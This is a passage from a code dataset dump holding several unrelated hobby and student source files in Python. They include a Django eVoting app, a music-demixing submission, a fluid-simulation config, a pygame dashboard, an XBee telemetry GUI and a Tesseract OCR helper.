get_current_site(request)\n mail_subject = 'Activate your eVoting account.'\n message = render_to_string('registration/acc_activate_email.html', {\n 'user': user,\n 'domain': current_site.domain,\n 'uid': urlsafe_base64_encode(force_bytes(user.pk)).decode(),\n 'token': account_activation_token.make_token(user),\n })\n to_email = form.cleaned_data.get('email')\n email = EmailMessage(\n mail_subject, message, to=[to_email]\n )\n email.send()\n return HttpResponse('Please confirm your email address to complete the registration')\n\n else:\n form = SignUpForm()\n return render(request, 'polls/signup.html', {'form': form})\n\n\ndef activate(request, uidb64, token):\n try:\n uid = force_text(urlsafe_base64_decode(uidb64))\n user = User.objects.get(pk=uid)\n except(TypeError, ValueError, OverflowError, User.DoesNotExist):\n user = None\n if user is not None and account_activation_token.check_token(user, token):\n user.is_active = True\n user.save()\n login(request, user)\n return HttpResponseRedirect('/')\n else:\n return HttpResponse('Activation link is invalid!')\n\n\ndef hola(request):\n print('dupa')\n if request.user.is_superuser:\n return HttpResponseRedirect('/admin/')\n else:\n return HttpResponseRedirect('/')\n\n\ndef move_users(request):\n current_time = timezone.now()\n current_time_delta = timezone.now() - timezone.timedelta(minutes=10)\n\n crit1 = Q(date_joined__lt=current_time)\n crit2 = Q(date_joined__gt=current_time_delta)\n\n users = list(User.objects.filter(crit1 & crit2))\n\n print(\"Funkcja dziala poprawnie\")\n for user in users:\n print(\"Nowo dodany uzytkownik: \" + user.username)\n\n return HttpResponse('/')\n\n\nclass IndexView(generic.TemplateView):\n model = Kraj\n template_name = 'index.html'\n\n # subprocess.call('start', shell=True)\n\n\n@method_decorator(login_required, name='dispatch')\nclass VoteListView(generic.ListView):\n template_name = 'polls/votelist.html'\n context_object_name = 'latest_wybor_list'\n\n wybor_set = Wybor.objects.all().order_by('-id')\n wybors = list(wybor_set)\n cur = timezone.now()\n\n for i in wybors:\n print(\"Jestem w pętli\")\n print(cur)\n print(i.dataRozpoczecia)\n print(i.dataZakonczenia)\n if cur > i.dataRozpoczecia:\n if cur < i.dataZakonczenia:\n i.status = 0\n i.save()\n print(\"Zmiana statusu na 0\")\n else:\n i.status = 1\n i.save()\n print(\"Zmiana statusu na 1\")\n else:\n i.status = -1\n i.save()\n print(\"Zmiana statusu na -1\")\n\n def get_queryset(self):\n crit1 = Q(status=\"0\")\n crit2 = Q(status=\"1\")\n return Wybor.objects.filter(crit1 | crit2)\n\n\nclass AuthorizedListsView(generic.DetailView):\n model = Wybor\n template_name = 'polls/authorized.html'\n\n\n@method_decorator(login_required, name='dispatch')\nclass DetailView(generic.DetailView):\n model = Wybor\n template_name = 'polls/detail.html'\n\n\nclass ResultsView(generic.DetailView):\n model = Wybor\n template_name = 'polls/results.html'\n\n\nclass ResultsViewPdf(generic.DetailView):\n model = Wybor\n template_name = 'polls/results_pdf.html'\n\n def get(self, request, pk, *args, **kwargs):\n model = Wybor.objects.get(pk=pk)\n pdf = render_to_pdf('polls/results_pdf.html', {'wybor': model})\n return HttpResponse(pdf, content_type='application/pdf')\n\n\ndef take_time(request, pk):\n if request.method == 'GET':\n current_time = timezone.now()\n # shared_obj = request.session.get('myobj', {})\n # shared_obj['key'] = 'val'\n # request.session['myobj'] = current_time\n\n print('Print time in take_time view', current_time)\n\n return HttpResponseRedirect(reverse('polls:detail', args=(pk,)))\n\n\ndef checkStatus(request):\n if request.method == 'GET':\n wybor_set = Wybor.objects.all().order_by('-id')\n wybors = list(wybor_set)\n cur = timezone.now()\n # delta=timezone.timedelta\n\n for i in wybors:\n print(\"Jestem w pętli\")\n print(cur)\n print(i.dataRozpoczecia)\n print(i.dataZakonczenia)\n if cur > i.dataRozpoczecia:\n if cur < i.dataZakonczenia:\n i.status = 0\n i.save()\n print(\"Zmiana statusu na 0\")\n else:\n i.status = 1\n i.save()\n print(\"Zmiana statusu na 1\")\n else:\n i.status = -1\n i.save()\n print(\"Zmiana statusu na -1\")\n\n return HttpResponseRedirect(reverse('polls:list'))\n\n\n@login_required\ndef vote(request, wybor_id):\n # shared_obj = request.session.get('myobj', {})\n if not shared_obj:\n print(\"No shared_obj\")\n else:\n value = shared_obj['key']\n print('Shared_obj val: ', value)\n\n try:\n wybor = get_object_or_404(Wybor, pk=wybor_id)\n print(str(wybor.id) + ' ' + wybor.nazwa)\n selected_candidate = wybor.kandydat_set.get(pk=request.POST['id'])\n except (KeyError):\n return render(request, 'polls/detail.html',\n {'wybor': wybor, 'error_message': \"You didn't select a choice.\", })\n except (Kandydat.DoesNotExist):\n return render(request, 'polls/detail.html',\n {'wybor': wybor, 'error_message': \"Object does not exist\", })\n\n else:\n\n current_user = request.user\n votes = list(Oddany_glos.objects.all())\n current_time = timezone.now()\n\n for i in votes:\n print(\"Username: \" + i.author.username + \", Wybór: \" + i.wybor.nazwa)\n\n authorized = list(Uprawniony.objects.all())\n\n for i in authorized:\n if i.osoba.username == current_user.username and i.wybor.nazwa == wybor.nazwa:\n print(\"Uzytkownik jest uprawniony\")\n\n if not votes:\n print(\"Lista jest pusta\")\n glos = Oddany_glos(author=current_user, dataOddaniaGlosu=current_time, wybor=wybor)\n glos.save()\n else:\n print(\"Lista nie jest pusta\")\n\n for vote in votes:\n if vote.author.username == current_user.username and vote.wybor.nazwa == wybor.nazwa:\n print(\"Istnieje taki glos\")\n return HttpResponseRedirect(reverse('polls:results', args=(wybor.id,)))\n\n print(\"Nie istnieje taki glos\")\n glos = Oddany_glos(author=current_user, dataOddaniaGlosu=current_time, wybor=wybor)\n glos.save()\n\n selected_candidate.votes += 1\n selected_candidate.save()\n return HttpResponseRedirect(reverse('polls:results', args=(wybor.id,)))\n else:\n print(\"Uzytkownik nie jest uprawniony\")\n\n return HttpResponseRedirect(reverse('polls:results', args=(wybor.id,)))\n","sub_path":"polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"261754757","text":"#!/usr/bin/env python\n#\n# This file uses spleeter for music demixing.\n#\n# NOTE: spleeter need checkpoints to be submitted along with your code.\n#\n# Making submission using openunmix:\n# 1. Run this file locally with `python test.py`.\n# 3. Submit your code using git-lfs\n# #> git lfs install\n# #> git lfs track \"pretrained_models/*\"\n# #> git add .gitattributes\n# #> mkdir -p pretrained_models/pretrained_models/\n# #> ln -s ../4stems/ pretrained_models/pretrained_models/4stems\n# #> git add pretrained_models/\n\n\nfrom evaluator.music_demixing import MusicDemixingPredictor\n\nfrom spleeter.audio.ffmpeg import FFMPEGProcessAudioAdapter\nfrom spleeter.separator import Separator\n\n\nclass SpleeterPredictor(MusicDemixingPredictor):\n \"\"\" Predictor based on Spleeter separator instance. \"\"\"\n\n def prediction_setup(self) -> None:\n self.audio = FFMPEGProcessAudioAdapter()\n self.separator = Separator(\"spleeter:4stems\")\n # NOTE: call manually internal to ensure model is\n # not lazy loaded.\n self.separator._get_prediction_generator()\n\n def prediction(\n self,\n mixture_file_path: str,\n bass_file_path: str,\n drums_file_path: str,\n other_file_path: str,\n vocals_file_path: str,\n ) -> None:\n y, _ = self.audio.load(mixture_file_path)\n prediction = self.separator.separate(y)\n instruments = {\n \"bass\": bass_file_path,\n \"drums\": drums_file_path,\n \"other\": other_file_path,\n \"vocals\": vocals_file_path,\n }\n for instrument, path in instruments.items():\n self.audio.save(path, prediction[instrument], 44100)\n print(\"%s: prediction completed.\" % mixture_file_path)\n\n\nif __name__ == \"__main__\":\n submission = SpleeterPredictor()\n submission.run()\n print(\"Successfully generated predictions!\")\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"465695573","text":"from pyadh import *\nfrom pyadh.default_p import *\nfrom sloshbox import *\n\"\"\"\nTwo-phase incompressible Navier-Stokes flow of air and water in a perturbed box\n\"\"\"\n\n## \\page Tests Test Problems\n#\\ref twp_navier_stokes_ls_so_sloshbox_2d_p.py \"Two-phase incompressible Navier-Stokes flow of air and water in a perturbed box\"\n# \n\n##\\ingroup test\n# \\file twp_navier_stokes_ls_so_sloshbox_2d_p.py\n# @{\n#\n# \\brief Two-phase incompressible Navier-Stokes flow of air and water in a perturbed box\n#\n# The governing equations are described by the\n# pyadh::TransportCoefficients::TwophaseNavierStokes_LS_SO class. The\n# domain is the unit square. The boundary conditions are slip and no\n# flow on the whole boundary. The pressure is set (arbitrarily) to\n# zero at the node in the top right corner. The free surface is\n# initially described by the line\n#\\f[\n#(\\frac{1}{2}-x_0)\\sin(\\theta)+(y-y_0)\\cos(\\theta) = 0\n#\\f]\n#where \\f$\\tan(\\theta)\\f$ is the slope of the free surface and and \\f$(x_0,y_0)\\f$ is a point on the free surface\n# \n#\\image html sloshbox_1.jpg\n#\\image html sloshbox_2.jpg\n#\n# AVI Animation of velocity and pressure \n#\n# AVI Animation of Richard Stockstill's moving mesh simulation with ADH\n#\n\n \nanalyticalSolution = None\n\ncoefficients = TwophaseNavierStokes_ST_LS_SO(epsFact=epsFact_viscosity,\n sigma=sigma_01,\n rho_0 = rho_0,\n nu_0 = nu_0,\n rho_1 = rho_1,\n nu_1 = nu_1,\n g=g,\n nd=nd,\n LS_model=2,\n KN_model=0,\n epsFact_density=epsFact_density,\n stokes=useStokes)\n# coefficients = TwophaseNavierStokes_LS_SO(epsFact=epsFact_viscosity,\n# rho_0 = rho_0,\n# nu_0 = nu_0,\n# rho_1 = rho_1,\n# nu_1 = nu_1,\n# g=g,\n# nd=nd,\n# LS_model=2)\n# if VOF:\n# coefficients = TwophaseNavierStokes_VOF_SO(epsFact=epsFact,\n# rho_0 = rho_0,\n# nu_0 = nu_0,\n# rho_1 = rho_1,\n# nu_1 = nu_1,\n# g=g,\n# nd=nd)\n# else:\n# coefficients = TwophaseNavierStokes_LS_SO(epsFact=epsFact,\n# rho_0 = rho_0,\n# nu_0 = nu_0,\n# rho_1 = rho_1,\n# nu_1 = nu_1,\n# g=g,\n# nd=nd,\n# LS_model=1)\n#coefficients = TwophaseStokes_LS_SO(g=[0.0,9.8],nd=nd,steady=True)\n#coefficients.rho_1 = coefficients.rho_0\n#coefficients.mu_1 = coefficients.mu_0\n\n","sub_path":"twp_navier_stokes_sloshbox_2d_p.py","file_name":"twp_navier_stokes_sloshbox_2d_p.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"574933115","text":"import vkquick as vq\n\nfrom . import config\nfrom tests.test_bot.src._add_cache import cache\n\nTIMES = 1/16\n\n\n@vq.Cmd(prefs=config.PREFS, names=config.NAMES)\n@vq.Reaction(\"message_new\")\ndef com_prefs():\n \"\"\"\n Check working name and prefs in mix\n \"\"\"\n global TIMES\n TIMES *= 2\n if TIMES == 1.0:\n cache(\"com_prefs\")\n return config.ANSWER\n","sub_path":"tests/test_bot/src/com_prefs/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"510795320","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.tree import DecisionTreeClassifier\nimport datetime \n\npandas_train = pd.read_csv(\"train.csv\")\npandas_train = pandas_train.drop([\"Id\"], axis=1)\ncolumns = pandas_train.axes[1]\ndata_train = np.array(pandas_train)\nX_train = data_train[:,:-1]\nY_train = data_train[:,-1]\nY_train = Y_train.reshape([Y_train.shape[0], 1])\n\npandas_test = pd.read_csv(\"train.csv\")\npandas_test = pandas_test.drop([\"Id\"], axis=1)\ndata_test = np.array(pandas_test)\nX_test = data_test[:,:-1]\n\nprint(\"Choosing the best depth for criterion='entropy':\")\nfor i in range(3, 35): \n clf = DecisionTreeClassifier(criterion='entropy', max_depth=i, random_state=1)\n clf.fit(X_train, Y_train)\n prediction = clf.predict(X_test)\n acc_score = accuracy_score(Y_train, prediction)\n print(\"Depth = {0}, Accuracy = {1}\".format(i, acc_score))\nprint(\"The best depth is 25\")\n \nprint(\"\\nChoosing the best depth for criterion='gini':\")\nfor i in range(3, 35): \n clf = DecisionTreeClassifier(criterion='gini', max_depth=i, random_state=1)\n clf.fit(X_train, Y_train)\n prediction = clf.predict(X_test)\n acc_score = accuracy_score(Y_train, prediction)\n print(\"Depth = {0}, Accuracy = {1}\".format(i, acc_score)) \nprint(\"The best depth is 32\") \n \n# Extracting not important features\nimportances = clf.feature_importances_\nzero_imp_columns = []\nprint(\"\\nNot important features:\")\nfor i, name in zip(importances, columns):\n if i == 0.0:\n print(\"{0}:{1}\".format(name, i))\n zero_imp_columns.append(name)\n\n# Deleting not important features from train data\nfor f in zero_imp_columns:\n pandas_train = pandas_train.drop([f], axis=1)\n\n# Deleting not important features from test data\nfor f in zero_imp_columns:\n pandas_test = pandas_test.drop([f], axis=1)\n \n# Time execution for criterion='entropy' and depth=25 \nstart_time = datetime.datetime.now()\nclf = DecisionTreeClassifier(criterion='entropy', max_depth=25, random_state=1)\nclf.fit(X_train, Y_train)\nprint(\"\\nDecision tree time execution(criterion='entropy' and depth=25 ):\",\n datetime.datetime.now() - start_time)\n\n# Time execution for criterion='gini' and depth=32 \nstart_time = datetime.datetime.now()\nclf = DecisionTreeClassifier(criterion='gini', max_depth=32, random_state=1)\nclf.fit(X_train, Y_train)\nprint(\"Decision tree time execution(criterion='gini' and depth=32 ):\",\n datetime.datetime.now() - start_time)\n\n'''\nResults:\nthe best depth for criterion='entropy' = 25\nDecision tree time execution(criterion='entropy' and depth=25 ): 0:00:00.177472\nthe best depth for criterion='gini' = 32\nDecision tree time execution(criterion='gini' and depth=32 ): 0:00:00.142379\n''' \n\n\n\n\n\n\n","sub_path":"decision_tree.py","file_name":"decision_tree.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"295685466","text":"import pygame, sys\n\nWHITE = (255,255,255)\nBACK_GREY = (52, 58, 64)\nFRONT_GREY = (81, 90, 99)\n\nclass DataComponent(object):\n def __init__(self, value=0.0, symbol=\"\"):\n self.value = float(value)\n self.symbol = str(symbol)\n self.font = pygame.font.Font(None, 64)\n\n def set_value(self, new_value):\n self.value = new_value\n\n def get_text(self):\n return \"%.1f %s\" % (self.value, self.symbol)\n\n def render(self, window, centerx, centery, width, height):\n text = self.font.render(self.get_text(), 1, WHITE)\n pygame.draw.polygon(window, FRONT_GREY, (\n (centerx-width/2, centery-height/2),\n (centerx+width/2, centery-height/2),\n (centerx+width/2, centery+height/2),\n (centerx-width/2, centery+height/2)))\n textRect = text.get_rect(centerx=centerx, centery=centery)\n window.blit(text, textRect)\n\nclass DashboardView(object):\n def __init__(self, **kwargs):\n pygame.init()\n self.size = kwargs['size'] if 'size' in kwargs else (400,200)\n self.window = pygame.display.set_mode(self.size, 0 , 32)\n self.events = {}\n self.components = {}\n self.components[\"temp\"] = DataComponent(0.0, \"°C\")\n self.components[\"volt\"] = DataComponent(0.0, \"V\")\n\n def render(self):\n self.window.fill(BACK_GREY)\n data_order = [\"volt\",\"temp\"]\n for i in range(len(data_order)):\n data = data_order[i]\n centerx = (self.window.get_width() * (2*i + 1)) / (2 * len(data_order))\n centery = self.window.get_height() / 2\n width = (self.window.get_width() / len(data_order)) - 20\n height = self.window.get_height() - 20\n self.components[data].render(self.window, centerx, centery, width, height)\n pygame.display.update()\n\n def bind_event(self, event, func):\n self.events[str(event)] = func\n\n def handle_events(self):\n for event in pygame.event.get():\n if str(event.type) in self.events:\n self.events[str(event.type)]()\n\n def close(self):\n pygame.quit()\n\n\n","sub_path":"Workshop3/Python_GUI/dashboard/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"391286633","text":"class Solution:\n def areSentencesSimilar(self, words1: List[str], words2: List[str], pairs: List[List[str]]) -> bool:\n if len(words1) != len(words2):\n return False\n\n from collections import defaultdict\n graph = defaultdict(list)\n for a, b in pairs:\n graph[a].append(b)\n graph[b].append(a)\n\n for word1, word2 in zip(words1, words2):\n if word1 != word2 and word2 not in graph[word1]:\n return False\n return True\n\n\n","sub_path":"leetcode/lc734_Sentence_Similarity.py","file_name":"lc734_Sentence_Similarity.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"311593472","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.book, name='books'),\n path('add_book', views.add_book, name='add_book'),\n path('books/', views.book_view),\n path('books/add_author_relation', views.add_author_relation, name='add_author_relation'),\n path('authors', views.author, name='authors'),\n path('add_author', views.add_author, name='add_author'),\n\tpath('authors/', views.author_view),\n\tpath('authors/add_book_relation', views.add_book_relation, name='add_book_relation'),\n]","sub_path":"9 Django/2_Django_ORM/book_authors_proj/book_authors_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"593671886","text":"import sys\nimport os\nimport serial\nimport threading\nimport random\n\nfrom PyQt5.QtWidgets import (QApplication, QDesktopWidget, QWidget, QMainWindow,\n QAction, qApp, QMenuBar, QMessageBox, QFileDialog, QPushButton, QLabel,\n QHBoxLayout, QVBoxLayout, QTextEdit, QSizePolicy, QGridLayout)\nfrom PyQt5.QtGui import QIcon, QTextCursor\nfrom PyQt5.QtCore import QCoreApplication, Qt, QTimer\n\nimport matplotlib\nmatplotlib.use('Qt5Agg')\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nimport numpy as np\n\nfrom xbeeParser import *\nimport CAN_SPEC\n\nclass MyMplCanvas(FigureCanvas):\n \"\"\"Ultimately, this is a QWidget (as well as a FigureCanvasAgg, etc.).\"\"\"\n def __init__(self, parent=None, width=5, height=4, dpi=100):\n fig = Figure(figsize=(width, height), dpi=dpi)\n self.axes = fig.add_subplot(111)\n\n self.compute_initial_figure()\n\n FigureCanvas.__init__(self, fig)\n self.setParent(parent)\n\n FigureCanvas.setSizePolicy(self,\n QSizePolicy.Expanding,\n QSizePolicy.Expanding)\n FigureCanvas.updateGeometry(self)\n\n def compute_initial_figure(self):\n pass\n\nclass batteryGraph(MyMplCanvas):\n def __init__(self, *args, **kwargs):\n MyMplCanvas.__init__(self, *args, **kwargs)\n\n def compute_initial_figure(self):\n self.barGraph = self.axes.bar(left=[0], height=[10])\n self.axes.set_ylim([0, 100])\n self.axes.get_xaxis().set_visible(False)\n self.axes.set_ylabel('SOC Percentage')\n self.axes.set_title('Battery SOC')\n\n def update_figure(self, soc):\n first = CAN_SPEC.Data_Pos_Dict['CURRENT_SENSOR_ENERGY']['PACK_ENERGY'][0]\n last = CAN_SPEC.Data_Pos_Dict['CURRENT_SENSOR_ENERGY']['PACK_ENERGY'][1]\n max_soc = 2**(last - first + 1) - 1\n print(max_soc)\n soc = (soc/max_soc)*1000\n print(soc)\n if soc >= 20:\n c = 'y'\n if soc >= 50:\n c = 'g'\n else:\n c = 'r'\n self.barGraph[0].set_height(int(soc))\n self.barGraph[0].set_color(c)\n #self.axes.set_ylim([0, 100])\n #self.axes.get_xaxis().set_visible(False)\n self.draw()\n\n\nclass LineGraph(MyMplCanvas):\n def __init__(self, *args, data_color='g', data_name=THROTTLE,\n data_title='Throttle', percentageY=1, unitsY='s', **kwargs):\n self.data_buffer = []\n self.time_buffer = []\n self.data_color = data_color\n self.buffer_length = 100\n self.data_name = data_name\n self.data_title = data_title\n self.percentageY = percentageY\n self.unitsY = unitsY\n MyMplCanvas.__init__(self, *args, **kwargs)\n\n def compute_initial_figure(self):\n self.line = self.axes.plot(self.time_buffer, self.data_buffer)\n self.axes.lines[0].set_color(self.data_color)\n self.axes.set_xlabel('Time')\n self.axes.set_title(self.data_title)\n if self.percentageY:\n self.axes.set_ylim([0, 100])\n self.axes.set_ylabel(self.data_title + ' Percentage')\n else:\n self.axes.set_ylabel(self.data_title + ' ' + self.unitsY)\n\n def update_figure(self, timestamp, data):\n self.axes.lines.remove(self.axes.lines[0]);\n if(len(self.time_buffer) < self.buffer_length):\n # self.time_buffer.append(newData.get(TIME))\n # self.data_buffer.append(newData.get(self.data_name))\n self.time_buffer.append(timestamp)\n self.data_buffer.append(data)\n else:\n self.time_buffer.pop(0)\n self.data_buffer.pop(0)\n # self.time_buffer.append(newData.get(TIME))\n # self.data_buffer.append(newData.get(self.data_name))\n self.time_buffer.append(timestamp)\n self.data_buffer.append(data)\n\n self.line = self.axes.plot(self.time_buffer, self.data_buffer)\n self.axes.set_xlim([self.time_buffer[0], self.time_buffer[-1]])\n self.axes.lines[0].set_color(self.data_color)\n self.draw()\n\nclass BatteryTemps(QWidget):\n def __init__(self):\n super().__init__()\n\n self.initUI()\n\n def initUI(self):\n self.grid = QGridLayout()\n self.setLayout(self.grid)\n\n positions = [(i,j) for i in range(20) for j in range(10)]\n\n for pos in positions:\n text = QLabel(str(pos[0] + pos[1]*10))\n self.grid.addWidget(text, *pos)\n\n self.gridCol = self.grid.columnCount()\n\n #accepts a dictionary {cellNum:temp}\n def update(temps):\n for cell in temps.keys():\n color = tempColor(temps[cell])\n oldData = self.grid.itemAtPosition(*indToPosition(cell)).widget()\n newString = str(cell) + \": \" + str(temps[cell])\n oldData.setText(newString)\n oldData.setStyleSheet('color:red')\n\n #returns a color for the cell text based on the temperature\n def tempColor(temp):\n return 0\n\n #returns the grid position of a cell based on the index\n def indToPosition(ind):\n return (ind % self.gridCol, ind // self.gridCol)\n\nclass XbeeLiveData(QWidget):\n def __init__(self, serialPort):\n super().__init__()\n #Open the serial port to communicate with xbee\n self.serialPort = serialPort\n self.xbee = serial.Serial(port='/dev/'+serialPort, baudrate=XBEE_BAUD, timeout=3, parity=serial.PARITY_EVEN)\n self.xbee.isOpen()\n #syncXbee(self.xbee)\n #Initialize a thread to run the live data view in\n self.thread = threading.Thread(target=self.gatherData)\n self.continueThread = threading.Event()\n self.continueThread.set()\n\n #Data Display Initialization\n self.logOutput = QTextEdit(self)\n self.batBar = batteryGraph(self, width=5, height=4, dpi=100)\n self.throttleGraph = LineGraph(self, data_color='g', data_name=THROTTLE,\n data_title='Throttle', percentageY=1)\n self.brakeGraph = LineGraph(self, data_color='r', data_name=BRAKE,\n data_title='Brake', percentageY=1)\n self.cellTemps = BatteryTemps()\n\n #Run Initialization function\n self.initUI(serialPort)\n\n def initUI(self, xbeeList):\n h1 = QHBoxLayout()\n self.logOutput.setReadOnly(True)\n self.logOutput.setLineWrapMode(QTextEdit.NoWrap)\n font = self.logOutput.font()\n font.setFamily(\"Courier\")\n font.setPointSize(12)\n h1.addWidget(self.logOutput)\n h1.addWidget(self.batBar)\n\n h2 = QHBoxLayout()\n h2.addWidget(self.throttleGraph)\n h2.addWidget(self.brakeGraph)\n\n v1 = QVBoxLayout()\n v1.addLayout(h1)\n v1.addLayout(h2)\n\n v2 = QVBoxLayout()\n v2.addWidget(QLabel('Battery Cell Temperatures'), stretch = 1)\n v2.addWidget(self.cellTemps, stretch = 10)\n\n finalH = QHBoxLayout(self)\n finalH.addLayout(v1, stretch = 4)\n finalH.addLayout(v2, stretch = 1)\n\n self.thread.start()\n\n self.setGeometry(300, 300, 1500, 1000)\n self.setWindowTitle('Live Data From: ' + self.serialPort)\n\n def gatherData(self):\n xbeeData = ''\n while(self.continueThread.is_set()):\n tmp = []\n if self.xbee.in_waiting > 0:\n xbeeData = self.xbee.read(13)\n\n print('xbeeData {0}'.format(xbeeData))\n timestamp, ID, MSG = parseMessage(xbeeData, 0)\n ts_print = 'Timestamp: {0}'.format(timestamp)\n id_print = 'ID Name: {0}'.format(ID)\n msg_print = 'MSG DATA: {0}'.format(MSG)\n print(ts_print)\n print(id_print)\n print(msg_print)\n\n self.logOutput.moveCursor(QTextCursor.End)\n self.logOutput.insertPlainText(ts_print + ' ' + id_print + ' ' + msg_print + '\\n')\n sb = self.logOutput.verticalScrollBar()\n sb.setValue(sb.maximum())\n\n if ID != None:\n self.updateVisuals(timestamp, ID, MSG)\n\n\n def updateVisuals(self, timestamp, ID, MSG):\n if ID == 'CURRENT_SENSOR_ENERGY':\n self.batBar.update_figure(MSG['PACK_ENERGY'])\n if ID == 'FRONT_CAN_NODE_DRIVER_OUTPUT':\n torque = MSG['REQUESTED_TORQUE']\n first = CAN_SPEC.Data_Pos_Dict['FRONT_CAN_NODE_DRIVER_OUTPUT']['REQUESTED_TORQUE'][0]\n last = CAN_SPEC.Data_Pos_Dict['FRONT_CAN_NODE_DRIVER_OUTPUT']['REQUESTED_TORQUE'][1]\n max_torque = 2**(last - first + 1) - 1\n torque = (torque/max_torque)*100\n self.throttleGraph.update_figure(timestamp, torque)\n\n pressure = MSG['BRAKE_PRESSURE']\n print(\"pres: {0}\".format(pressure))\n first = CAN_SPEC.Data_Pos_Dict['FRONT_CAN_NODE_DRIVER_OUTPUT']['BRAKE_PRESSURE'][0]\n print(\"first: {0}\".format(first))\n last = CAN_SPEC.Data_Pos_Dict['FRONT_CAN_NODE_DRIVER_OUTPUT']['BRAKE_PRESSURE'][1]\n print(\"last: {0}\".format(last))\n max_pressure = 2**(last - first + 1) - 1\n pressure = (pressure/max_pressure)*100\n self.brakeGraph.update_figure(timestamp, MSG['BRAKE_PRESSURE'])\n\n def closeEvent(self, event):\n reply = QMessageBox.question(self, 'Message',\n \"End Live Data Session?\", QMessageBox.Yes |\n QMessageBox.No, QMessageBox.No)\n\n if reply == QMessageBox.Yes:\n self.continueThread.clear()\n self.thread.join()\n self.xbee.close()\n event.accept()\n else:\n event.ignore()\n","sub_path":"livePlotting.py","file_name":"livePlotting.py","file_ext":"py","file_size_in_byte":9720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"53683384","text":"#pylint: disable=C0103\n#pylint: disable=E1101\n#pylint: disable=E0611\n#pylint: disable=E0401\n\"\"\"Main Window class\"\"\"\n\nimport cv2\nfrom PyQt5 import QtCore, QtGui\n\nfrom gui.ui import MainFormUi\nfrom gui.base_form import BaseForm\nfrom gui.frame_view_widget import FrameViewWidget\n\n\n\n\nclass MainForm(BaseForm):\n \"\"\"Main Window class\"\"\"\n\n setupButtonClicked = QtCore.pyqtSignal()\n\n def __init__(self, video_control, parent=None):\n \"\"\"Init method\"\"\"\n BaseForm.__init__(self, parent, MainFormUi)\n\n self.gui.videoViewWidget = FrameViewWidget(self.gui.viewGroupBox)\n self.gui.videoViewWidget.setObjectName(\"videoViewWidget\")\n self.gui.viewGroupVerticalLayout.addWidget(self.gui.videoViewWidget)\n\n self.timer = QtCore.QTimer(self)\n self.timer.timeout.connect(self.update_frame)\n self.timer.start(1)\n\n self.video_control = video_control\n if not self.video_control.is_started():\n self.video_control.start()\n\n self.gui.setupButton.clicked.connect(self.setup_button_clicked)\n\n def setup_button_clicked(self):\n \"\"\"Setup Button Clicked signal\"\"\"\n self.setupButtonClicked.emit()\n\n def update_frame(self):\n \"\"\"temp method\"\"\"\n\n ret, result = self.video_control.next_processed_frame()\n\n if ret:\n frame = cv2.cvtColor(result[0], cv2.COLOR_BGR2RGB)\n height, width, bpc = frame.shape\n bpl = bpc * width\n image = QtGui.QImage(frame.data, width, height, bpl, QtGui.QImage.Format_RGB888)\n faces = []\n for (x, y, w, h) in result[1]:\n faces.append(QtCore.QRect(x, y, w, h))\n # cv2.rectangle(frame,(x,y),(x+w,y+h),(255,0,0),2)\n self.gui.videoViewWidget.update_frame(image, faces)\n\n def closeEvent(self, _):\n \"\"\"Close event method\"\"\"\n self.video_control.pause()\n","sub_path":"src/gui/main_form.py","file_name":"main_form.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"556347708","text":"from emojis import encode\nfrom random import randint\nprint(encode('''Olá, aqui é o seu computador :blush:\\nAcabei de pensar em um númeor de 0 a 10\nSerá que você consegue advinhar? '''))\ncomp = randint(0, 10)\nc = 0\nacertou = False\nwhile not acertou:\n jog = int(input('Qual é o seu palpite? '))\n c += 1\n if jog == comp:\n acertou = True\n else:\n if jog < comp:\n print(encode('Mais... :no_mouth: Tente novamente'))\n else:\n print(encode('Menos... :no_mouth: Tente novamente'))\nprint(encode(f'Acertou com {c} tentativas, parabéns :blush:'))","sub_path":"Desafios/des058a.py","file_name":"des058a.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"537452172","text":"from ocr import get_sub_char_images, join_sub_images\r\nimport subprocess, os\r\nimport ImageEnhance, ImageFilter\r\nfrom training.box_trainging import to_char\r\n\r\ndef get_ocr_value(image_name):\r\n result_file_name = os.path.splitext(image_name)[0]+'_result'\r\n subprocess.call(['tesseract', image_name, result_file_name, '-l', 'peng'])\r\n result_txt_file_name = result_file_name + '.txt'\r\n result_file = open(result_txt_file_name)\r\n result = result_file.read()\r\n code = []\r\n chars = []\r\n for i in range(len(result)):\r\n if result[i].isdigit() or result[i].isalpha():\r\n code.append(result[i])\r\n if len(code) == 4:\r\n chars.append(to_char(''.join(code)))\r\n code = []\r\n result_file.close()\r\n os.remove(result_txt_file_name)\r\n return ''.join(chars)\r\n\r\ndef get_verify_tif(png_image_name):\r\n sub_images = get_sub_char_images(png_image_name)\r\n ocr_image = join_sub_images(sub_images, 25, 28)\r\n enhancer = ImageEnhance.Sharpness(ocr_image)\r\n ocr_image = enhancer.enhance(5)\r\n tif_name = os.path.splitext(png_image_name)[0] + '.tif';\r\n 